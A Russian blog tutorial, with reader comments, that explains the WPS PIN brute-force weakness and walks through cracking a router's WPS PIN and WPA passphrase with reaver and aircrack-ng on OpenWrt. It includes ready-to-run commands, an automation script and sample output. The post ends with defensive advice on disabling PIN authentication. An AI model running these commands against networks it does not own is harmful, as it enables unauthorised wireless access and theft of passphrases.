Использование reaver для восстановления PIN-кода WPS

В большинстве беспроводных роутеров с поддержкой WPS, реализующей авторизацию по PIN, существует уязвимость безопасности сети. Используя ее становится возможным восстановление PIN-кода точки доступа, а также установленных на ней WPA/WPA2-паролей.

Теория

Уязвимость заключается в том, что метод авторизации содержит недочеты, позволяющие существенно упростить прямой перебор PIN-кодов, иными словами – реализуется эффективная брутфорс-атака. PIN-код WPS содержит восемь цифр, соответственно существует 108 возможных вариантов кода. Это довольно большое число, но в реальности количество переборов можно существенно сократить.

Во-первых, восьмисимвольный PIN-код при авторизации делится на две части, обработка которых происходит независимо друг от друга. Так, точка доступа и клиент обмениваются рядом последовательных сообщений М1-М8, и при этом:

  • Если после отправки сообщения М4 точка доступа отвечает кодом EAP-NACK, значит первая половина PIN-кода ошибочна;
  • Если после отправки сообщения М6 точка доступа отвечает кодом EAP-NACK, значит вторая половина PIN-кода ошибочна.

В итоге, число необходимых переборов сокращается с 108 (100’000’000) до 104+104 (20’000).

Во-вторых, последняя цифра PIN-кода не является случайной и представляет собой контрольную сумму предыдущих цифр кода. Этот факт сокращает количество вариантов до 104+103 (11’000).

Наконец, немаловажной деталью является тот факт, что на многих домашних роутерах PIN-авторизация: а) включена по-умолчанию; б) не накладывает никаких ограничений на отправителя при отправке множества некорректных PIN-кодов. Это открывает возможность по неограниченному перебору пин-кодов на таких роутерах.

Автоматизация

Разумеется, не пришлось долго ждать появления умельцев, реализовавших программный метод для автоматического перебора PIN-кодов – в лице программы reaver wps. Более того, данная утилита даже была портирована в OpenWrt и присутствует в официальном репозитории пакетов.

Итак, для запуска процесса восстановления PIN-кода нашей точки доступа при помощи роутера под управлением OpenWrt нам потребуется установить пакеты aircrack-ng и reaver (в Buildroot расположены в разделе Network -> Wireless). Первый пакет представляет собой набор утилит и скриптов, при помощи которого мы сможем перевести Wi-Fi передатчик роутера в режим “Monitor”; второй – это непосредственно утилиты для анализа и подбора PIN-кодов.

Сначала подготовим Wi-Fi передатчик нашего роутера. Обратите внимание, соответствующий передатчик уже должен быть активирован в UCI или веб-интерфейсе. Допустим, если выбранный сетевой интерфейс называется wlan0, то используем команду:

root@OpenWrt:~# airmon-ng start wlan0

Теперь у нас появился новый виртуальный сетевой интерфейс – mon0. К сожалению, чтобы на нем работал режим scan, в современных прошивках требуется отключение “обычного” беспроводного интерфейса:

root@OpenWrt:~# ifconfig wlan0 down

Теперь мы можем использовать утилиту wash, при помощи которой можно увидеть окрестные точки доступа, поддерживающие WPS-авторизацию, а также убедимся в том, что с роутера просматривается целевая точка доступа и ее MAC-адрес:

root@OpenWrt:~# wash -i mon0

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 

BSSID              Channel  RSSI  WPS Version  WPS Locked  ESSID
--------------------------------------------------------------------------------------
...
00:01:FD:AC:DD:EA     2       -64   1.0          No          TestAP
...

Запоминаем номер канала и BSSID нашей точки доступа.

В принципе, на этом этапе мы уже имеем достаточно данных для начала автоматизированноого перебора паролей. Для этого было бы достаточно набрать следующую команду и ждать результата:

root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -v

Однако, не все так гладко в Датском королевстве OpenWrt.

Проблема в следующем:

Утилита reaver местами использует низкоуровневые вычисления, а первоначально она составлялась для ПК с процессорами х86-64, использующими порядок байтов типа “Little-endian” (LE, от меньшего к большему). В то же время на многих распространенных роутерах используется представление байт “Big-endian” (BE, от большего к меньшему). Первое время это приводило к тому, что reaver вовсе не функционировал на роутерах с BE-платформой. Позже были написаны патчи, исправлявшие эту ситуацию, но тем не менее до сих пор не решена проблема с аутентификацией на точке доступа при использовании платформы с BE. Поэтому требуются обходные пути.

В частности, нам поможет ручная аутентификация на точке доступа при помощи утилиты aireplay-ng из пакета aircrack-ng. Однако в отличие от reaver данная утилита не умеет самостоятельно выставлять требуемый Wi-Fi канал, поэтому его необходимо задать вручную:

root@OpenWrt:~# iwconfig mon0 channel 2
root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0

Эта утилита работает в foreground-режиме, поэтому после того, как вы убедитесь, что ассоциирование с точкой доступа происходит успешно, требуется прервать ее выполнение по Ctrl+C и перезапустить в фоновом режиме:

root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0 > /dev/null &

Затем при запуске reaver добавляем ключ -A:

root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -vv -A

Если все выполнено правильно, то можно будет наблюдать следующие строки:

...
[+] Trying pin 54545670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 54555679
[+] Sending EAPOL START request
[+] Received identity request
...

В случае появления повторяющихся сообщений Sending EAPOL START request и WARNING: Receive timeout occurred, вероятно, ассоциирование с точкой доступа не было успешным. В случае обнаружения зацикленного перебора одинаковых PIN-ов, вероятно, точка доступа все-таки не поддерживает такую авторизацию, либо произошел сбой в работе reaver.

В общем случае алгоритм корректного перебора PIN-ов предполагает последовательное увеличение первых четырех цифр до тех пор, пока они не будут подобраны верно. Затем первые четыре цифры фиксируются и начинается перебор предпоследних трех цифр. В последней позиции PIN-кода автоматически генерируется число, являющееся контрольной суммой предыдущих чисел.

Также есть еще один момент, актуальный для запуска reaver на OpenWrt:

При работе данная утилита использует файл базы данных sqlite3, а также для хранения информации по текущей точке доступа создается временный файл в текущем каталоге. Оба этих файла перезаписываются после каждой новой попытки подбора PIN-кода. Соответственно, в целях сохранения flash-памяти вашего роутера от износа запускать reaver следует из каталога /tmp. Но, к сожалению, это никак не решает проблему постоянной перезаписи sqlite3-базы, расположенной в /etc/reaver/reaver.db. В данном случае решением проблемы стало бы создание копии этой базы в /tmp и добавление симлинка на нее в /etc.

Для упрощения решения проблемы с переносом sqlite3-базы в /tmp и автоматизации запуска aireplay был составлен скрипт reaverrun.sh:

#!/bin/ash

if [ $# -lt 3 ]
then
        echo
        echo "Reaver WPS Tool automatization script for OpenWrt"
        echo "(c) 2013 Erinome.net"
        echo
        echo "Usage: $0 <interface> <channel> <bssid>"
        echo
        exit
fi

interface=$1
channel=$2
bssid=$3

cd /tmp

# check if symlink is created
if [ -L /etc/reaver/reaver.db ]
then
        # check if symlink target not ok
        if ! [ -e /tmp/reaver.db ]
        then
                if [ -e /etc/reaver/reaver.db.orig ]
                then
                        # copy backup to symlinked location
                        cp /etc/reaver/reaver.db.orig /tmp/reaver.db
                else
                        echo "Fatal: reaver.db.orig not found!"
                        exit 1;
                fi
        fi
else
        # move reaver.db to reaver.db.orig and create symlink
        cp /etc/reaver/reaver.db /tmp/reaver.db
        mv /etc/reaver/reaver.db /etc/reaver/reaver.db.orig
        ln -s /tmp/reaver.db /etc/reaver/reaver.db
fi

# make a trap for signal handling
trap "{ /usr/bin/killall aireplay-ng; exit; }" SIGINT EXIT

# change wireless channel for aireplay to work
iwconfig $interface channel $channel

# run aireplay-ng to associate since reaver ap association is broken in BE
aireplay-ng -1 5 -a $bssid $interface > /dev/null &

# actually run reaver
reaver -i mon0 -b $bssid -vv -A -S

Скачать скрипт можно из нашего хранилища: reaverrun.sh.

Процесс восстановления PIN-кода может занимать достаточно длительное время, и поэтому есть смысл запускать его в виртуальном терминале типа screen.

При завершении восстановления PIN-кода в консоль будет выведен также WPA-passphrase и затраченное на восстановление время:

[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 29786 seconds
[+] WPS PIN: '73133210'
[+] WPA PSK: 'the-most-secret-passphrase-ever'
[+] AP SSID: 'TestAP'

После завершения работы с reaver необходимо выключить сетевой интерфейс mon0 командой airmon-ng stop mon0. Также привести роутер в исходное состояние можно и просто набрав команду wifi. При этом временные сетевые интерфейсы будут удалены, а конфигурация беспроводной сети вернется к заданным в UCI или веб-интерфейсе роутера значениям.

Вместо заключения

Для обеспечения безопасности беспроводных сетей с поддержкой WPS остается лишь рекомендовать отключить возможность авторизации по PIN-кодам, либо свериться с информацией по возможности обновления прошивки у производителя вашего роутера или точки доступа. Достаточно эффективной защиты PIN-авторизации можно было бы добиться простым ограничением числа попыток авторизаций в единицу времени. Например, таковая защита представлена на современных роутерах марки Zyxel.

This entry was posted in Сеть и интернет and tagged , , . Bookmark the permalink.

7 Responses to Использование reaver для восстановления PIN-кода WPS

  1. ge1r says:

    Пожалуйста подробнее про screen и запуск в виртуальном терминале.

    • root says:

      Необходимо установить утилиту screen. Это можно сделать через opkg – она есть в официальных репозиториях OpenWrt. Затем запускаете ее, просто набрав слово screen в ssh-консоли, после чего запускаете reaver и нажимаете Ctrl+a, d (контрол+а нажимаются одновременно, затем отдельно d) для того, чтобы отправить сессию в фоновый режим. Чтобы затем вернуться обратно к последней открытой сессии, набираете команду screen -r.
      При помощи команды screen -ls можно увидеть список запущенных сессий и их имен. Для возвращения в какую-либо конкретную сессию – команда screen -r имя.

  2. kalter says:

    Подскажите пожалуйста что может бить? После запуска reaver появляетса сообщение warning: detected ap rate limiting, waeting 60 seconds before re-checking и дальше только повтори етого сообщения

    • root says:

      Это означает, что точка доступа, к которой вы пытаетесь подобрать пинкод, имеет ограничение на количество неудачных попыток авторизации, после превышения которого она перестает откликаться на новые запросы.

  3. vlw says:

    У меня после sending m4 пишет receive timeout occurred. При написании -d 0 вообще при любом пине приходит m5, и после отправки m6 опять приходит m5 и происходит ошибка.Что делать?

  4. MyxA says:

    wash пишет bus error

  5. venik says:

    При запуске скрипта, пишет следующие ошибки:
    root@OpenWrt:/tmp# sh /tmp/reaverrun.sh
    : not foundrun.sh: line 2:
    /tmp/reaverrun.sh: line 52: syntax error: unexpected end of file (expecting “then”)

Leave a Reply to vlw Cancel reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>